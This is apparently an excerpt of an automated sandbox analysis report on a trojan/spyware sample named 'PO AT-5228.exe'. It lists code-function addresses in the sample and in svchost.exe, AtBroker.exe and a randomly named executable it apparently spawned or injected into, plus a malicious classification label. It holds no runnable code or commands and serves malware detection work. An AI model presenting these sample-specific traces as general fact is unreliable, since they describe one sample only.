Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B9410F	0_2_00B9410F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B802A4	0_2_00B802A4
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B6E3B0	0_2_00B6E3B0
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B9038E	0_2_00B9038E
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B806D9	0_2_00B806D9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B9467F	0_2_00B9467F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BCAACE	0_2_00BCAACE
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B94BEF	0_2_00B94BEF
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8CCC1	0_2_00B8CCC1
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B66F07	0_2_00B66F07
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B6AF50	0_2_00B6AF50
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BC31BC	0_2_00BC31BC
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8D1B9	0_2_00B8D1B9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B7B11F	0_2_00B7B11F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8123A	0_2_00B8123A
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B9724D	0_2_00B9724D
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B693F0	0_2_00B693F0
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA13CA	0_2_00BA13CA
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B7F563	0_2_00B7F563
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B696C0	0_2_00B696C0
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAB6CC	0_2_00BAB6CC
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B677B0	0_2_00B677B0
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BCF7FF	0_2_00BCF7FF
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B979C9	0_2_00B979C9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B7FA57	0_2_00B7FA57
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B69B60	0_2_00B69B60
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B67D19	0_2_00B67D19
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B89ED0	0_2_00B89ED0
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B7FE6F	0_2_00B7FE6F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B67FA3	0_2_00B67FA3
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_01960CA0	0_2_01960CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00458983	1_2_00458983
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0046F073	1_2_0046F073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00442810	1_2_00442810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004430F0	1_2_004430F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004410A0	1_2_004410A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00450243	1_2_00450243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00441210	1_2_00441210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004422F0	1_2_004422F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00456BD3	1_2_00456BD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00442C64	1_2_00442C64
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00450463	1_2_00450463
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00442C70	1_2_00442C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004424C0	1_2_004424C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004424D9	1_2_004424D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0044E4E3	1_2_0044E4E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004424B8	1_2_004424B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC02C0	1_2_02EC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F003E6	1_2_02F003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA352	1_2_02EFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF81CC	1_2_02EF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF41A2	1_2_02EF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F001AA	1_2_02F001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC8158	1_2_02EC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30100	1_2_02E30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5C6E0	1_2_02E5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3C7C0	1_2_02E3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64750	1_2_02E64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEE4F6	1_2_02EEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF2446	1_2_02EF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE4420	1_2_02EE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F00591	1_2_02F00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF6BD7	1_2_02EF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFAB40	1_2_02EFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E8F0	1_2_02E6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E268B8	1_2_02E268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4A840	1_2_02E4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E42840	1_2_02E42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0A9A6	1_2_02F0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFEEDB	1_2_02EFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52E90	1_2_02E52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFCE93	1_2_02EFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40E59	1_2_02E40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFEE26	1_2_02EFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32FC8	1_2_02E32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBEFA0	1_2_02EBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB4F40	1_2_02EB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E82F28	1_2_02E82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60F30	1_2_02E60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE2F30	1_2_02EE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30CF2	1_2_02E30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0CB5	1_2_02EE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40C00	1_2_02E40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3ADE0	1_2_02E3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E58DBF	1_2_02E58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4AD00	1_2_02E4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDCD1F	1_2_02EDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE12ED	1_2_02EE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5D2F0	1_2_02E5D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5B2C0	1_2_02E5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E452A0	1_2_02E452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E8739A	1_2_02E8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2D34C	1_2_02E2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF132D	1_2_02EF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF70E9	1_2_02EF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFF0E0	1_2_02EFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEF0CC	1_2_02EEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E470C0	1_2_02E470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4B1B0	1_2_02E4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7516C	1_2_02E7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2F172	1_2_02E2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0B16B	1_2_02F0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF16CC	1_2_02EF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E85630	1_2_02E85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFF7B0	1_2_02EFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E31460	1_2_02E31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFF43F	1_2_02EFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F095C3	1_2_02F095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDD5B0	1_2_02EDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF7571	1_2_02EF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEDAC6	1_2_02EEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDDAAC	1_2_02EDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E85AA0	1_2_02E85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE1AA3	1_2_02EE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB3A6C	1_2_02EB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFA49	1_2_02EFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF7A46	1_2_02EF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB5BF0	1_2_02EB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7DBF9	1_2_02E7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5FB80	1_2_02E5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFB76	1_2_02EFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E438E0	1_2_02E438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAD800	1_2_02EAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E49950	1_2_02E49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5B950	1_2_02E5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED5910	1_2_02ED5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E49EB0	1_2_02E49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E03FD2	1_2_02E03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E03FD5	1_2_02E03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFFB1	1_2_02EFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E41F92	1_2_02E41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFF09	1_2_02EFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFCF2	1_2_02EFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB9C32	1_2_02EB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5FDC0	1_2_02E5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF7D73	1_2_02EF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E43D40	1_2_02E43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF1D5A	1_2_02EF1D5A
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052B9FD8	2_2_052B9FD8
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052D06C8	2_2_052D06C8
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052B1898	2_2_052B1898
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052AFB38	2_2_052AFB38
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052B8228	2_2_052B8228
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052B1AB8	2_2_052B1AB8
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04672446	3_2_04672446
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04664420	3_2_04664420
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0466E4F6	3_2_0466E4F6
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C0535	3_2_045C0535
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04680591	3_2_04680591
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045DC6E0	3_2_045DC6E0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045E4750	3_2_045E4750
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C0770	3_2_045C0770
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045BC7C0	3_2_045BC7C0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04652000	3_2_04652000
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04648158	3_2_04648158
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045B0100	3_2_045B0100
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0465A118	3_2_0465A118
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046781CC	3_2_046781CC
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046801AA	3_2_046801AA
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046741A2	3_2_046741A2
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04660274	3_2_04660274
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046402C0	3_2_046402C0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467A352	3_2_0467A352
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046803E6	3_2_046803E6
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045CE3F0	3_2_045CE3F0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C0C00	3_2_045C0C00
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045B0CF2	3_2_045B0CF2
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04660CB5	3_2_04660CB5
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045CAD00	3_2_045CAD00
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0465CD1F	3_2_0465CD1F
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045BADE0	3_2_045BADE0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045D8DBF	3_2_045D8DBF
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C0E59	3_2_045C0E59
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467EE26	3_2_0467EE26
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467EEDB	3_2_0467EEDB
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045D2E90	3_2_045D2E90
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467CE93	3_2_0467CE93
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04634F40	3_2_04634F40
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04602F28	3_2_04602F28
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04662F30	3_2_04662F30
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045E0F30	3_2_045E0F30
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045B2FC8	3_2_045B2FC8
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0463EFA0	3_2_0463EFA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045CA840	3_2_045CA840
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C2840	3_2_045C2840
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045EE8F0	3_2_045EE8F0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045A68B8	3_2_045A68B8
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045D6962	3_2_045D6962
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0468A9A6	3_2_0468A9A6
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C29A0	3_2_045C29A0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045BEA80	3_2_045BEA80
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467AB40	3_2_0467AB40
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04676BD7	3_2_04676BD7
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045B1460	3_2_045B1460
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467F43F	3_2_0467F43F
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04677571	3_2_04677571
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046895C3	3_2_046895C3
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0465D5B0	3_2_0465D5B0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04605630	3_2_04605630
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046716CC	3_2_046716CC
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467F7B0	3_2_0467F7B0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467F0E0	3_2_0467F0E0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046770E9	3_2_046770E9
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C70C0	3_2_045C70C0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0466F0CC	3_2_0466F0CC
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0468B16B	3_2_0468B16B
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045AF172	3_2_045AF172
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F516C	3_2_045F516C
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045CB1B0	3_2_045CB1B0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_046612ED	3_2_046612ED
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045DB2C0	3_2_045DB2C0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045DD2F0	3_2_045DD2F0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C52A0	3_2_045C52A0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045AD34C	3_2_045AD34C
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467132D	3_2_0467132D
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0460739A	3_2_0460739A
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04639C32	3_2_04639C32
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467FCF2	3_2_0467FCF2
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04677D73	3_2_04677D73
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C3D40	3_2_045C3D40
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04671D5A	3_2_04671D5A
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045DFDC0	3_2_045DFDC0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C9EB0	3_2_045C9EB0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467FF09	3_2_0467FF09
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04583FD2	3_2_04583FD2
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04583FD5	3_2_04583FD5
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C1F92	3_2_045C1F92
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467FFB1	3_2_0467FFB1
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0462D800	3_2_0462D800
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C38E0	3_2_045C38E0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045C9950	3_2_045C9950
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045DB950	3_2_045DB950
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04655910	3_2_04655910
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04633A6C	3_2_04633A6C
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04677A46	3_2_04677A46
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467FA49	3_2_0467FA49
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0466DAC6	3_2_0466DAC6
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04605AA0	3_2_04605AA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04661AA3	3_2_04661AA3
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0465DAAC	3_2_0465DAAC
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0467FB76	3_2_0467FB76
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04635BF0	3_2_04635BF0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045FDBF9	3_2_045FDBF9
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045DFB80	3_2_045DFB80
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004F1FA0	3_2_004F1FA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004ECEB0	3_2_004ECEB0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004ED0D0	3_2_004ED0D0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004EB150	3_2_004EB150
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004F55F0	3_2_004F55F0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004F3840	3_2_004F3840
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0050BCE0	3_2_0050BCE0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0431E493	3_2_0431E493
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_04310281	3_2_04310281
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0431E377	3_2_0431E377
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0431E82C	3_2_0431E82C
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0431D8F8	3_2_0431D8F8
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0431CB98	3_2_0431CB98

Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: String function: 0463F290 appears 103 times
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: String function: 045AB970 appears 262 times
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: String function: 04607E54 appears 107 times
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: String function: 045F5130 appears 58 times
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: String function: 0462EA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02E75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02E2B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02EAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02E87E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02EBF290 appears 103 times
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: String function: 00B7EC2F appears 68 times
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: String function: 00B8F8A0 appears 35 times
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: String function: 00B86AC0 appears 42 times

Source: PO AT-5228.exe, 00000000.00000003.1684313313.00000000042F3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO AT-5228.exe
Source: PO AT-5228.exe, 00000000.00000003.1686489245.000000000449D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO AT-5228.exe

Source: PO AT-5228.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@14/10

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BACE7A GetLastError,FormatMessageW,

0_2_00BACE7A

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B9AB84 AdjustTokenPrivileges,CloseHandle,		0_2_00B9AB84
